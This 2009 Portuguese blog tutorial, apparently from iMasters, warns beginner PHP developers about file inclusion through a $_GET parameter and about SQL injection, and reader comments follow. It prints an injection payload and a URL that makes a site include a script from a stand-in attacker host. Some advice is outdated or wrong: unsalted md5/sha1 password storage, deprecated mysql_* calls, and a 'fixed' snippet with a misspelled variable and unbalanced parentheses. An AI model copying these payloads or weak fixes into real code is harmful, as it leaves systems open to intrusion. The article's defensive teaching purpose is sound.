Terça-feira, 07 de abril de 2009 às 09h45

Principais falhas de segurança no PHP

Faltam 0 dias! Inscreva-se agora! O maior encontro de profissionais web da américa latina.

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

Cuidados com a URL - Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');

// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>


Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL - Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php
// Formato da URL:
//  http://www.meusite.com.br/produtos.php?id=12

// Salva o parâmetro da URL numa variável
$produto = $_GET['id'];

// Monta a consulta MySQL
$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";

// Executa a query
$query = mysql_query($sql);

// Salva o resultado (em formato de array) em uma variável
$resultado = mysql_fetch_assoc($query);

?>


A sua consulta ao MySQL ficaria da seguinte forma:

SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='

Agora a sua query MySQL fica assim:

SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
$produto = (int)$_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

$parametro = mysql_real_escape_string($_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.

Se quiser saber como funciona criptografica no PHP é só ver esse post no meu blog:
» Criptografia no PHP usando md5, sha1 e base64

Espero que tenham gostado! Até a próxima!

9 comentários

Falha no Programador, não no PHP

Olá, sua iniciativa é ótima, porém o título do post, a meu ver, não condiz com o conteúdo.

Seria melhor chamar o post de "um péssimo uso da linguagem PHP".

Se em JSP, ASP, ou qualquer outra linguagem Web, o programador passar o nome da página (como no exemplo 1), o problema seria o mesmo, ou seja, uma brecha aberta.

Abraços.

Usei esse titulo pois são as falhas mais comuns entre os iniciantes. ;)

Usei esse titulo pois são as falhas mais comuns entre os iniciantes. ;)

 Marcus Aurélio Oliveira Campos
07/04/2009 12h40

Cuidados com a URL - Parte II

Eu uso is_numeric em vez de int. legal o post. parabéns.

 Gustavo Andrade
07/04/2009 13h17

Simples

Muito bacana seu artigo! Dicas bem simples de implantar e facil para entender!! Vlw

 Adriano Alves
07/04/2009 14h14

Use padrões e técnicas de segurança.

Para sanar a maioria dos problemas de segurança, foi criado um grupo/consórcio para estudar e promover técnicas e padrões para o PHP, vale a pena dedicar algumas horas: "http://phpsec.org/".
Eu uso meu próprio framework, que internamente cuida dessa parte e com um padrão de URL seguro, ex: siteexemplo.com/modulo.acao

 Murilo de Souza Lopes
07/04/2009 14h34

Easy

easy , tem várias outras questões , hoje em dia.

 Célio de Jesus Santos
07/04/2009 14h53

Falhas em Aplicações WEB - Não no PHP

Thiago,

Parabéns pela iniciativa em postar algo com que se deve preocupar quando se trata de desenvolvimento para WEB, observe bem, estou falando de Aplicações para WEB e não de PHP, pois como já foi falado nos comentários acima, essas vulnerabilidades é sim de iniciantes e não do PHP, que por um lado te dá algumas facilidades, mas por outro se o programador não tiver uma certa malícia, acaba comprometendo o seu trabalho.

Obrigado,

Célio

 Mário Santos
08/04/2009 12h11

Muito bom! mas acho que têm um erro aí...

Quando você fala:
...OR 1=1 OR '' = '' LIMIT 1
e diz que:
"Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados." Não é necessáriamente verdadeira já que como têm o LIMIT 1 na instrução, ele apenas vai devolver o primeiro resultado que encontrar... o que apesar do mal é menos mal :)

Cancelar resposta

Qual a sua opinião?

Faça login abaixo ou cadastre-se rapidamente.


Sobre o Autor
Thiago Dutra da Fonseca Belem cursa Ciência da Computação na Unicarioca. Trabalha como Desenvolvedor PHP a quatro anos e é geek assumido e fanático por programação desde os 12 anos de idade. Sempre preocupado com o end-user, batalha por uma web mais justa, acessível e organizada. Trabalha atualmente no Jornal do Brasil e mantém seu blog sobre desenvolvimento web (www.thiagobelem.net/blog).
3G

2001 - iMasters FFPA Informática Ltda - Todos os direitos reservados.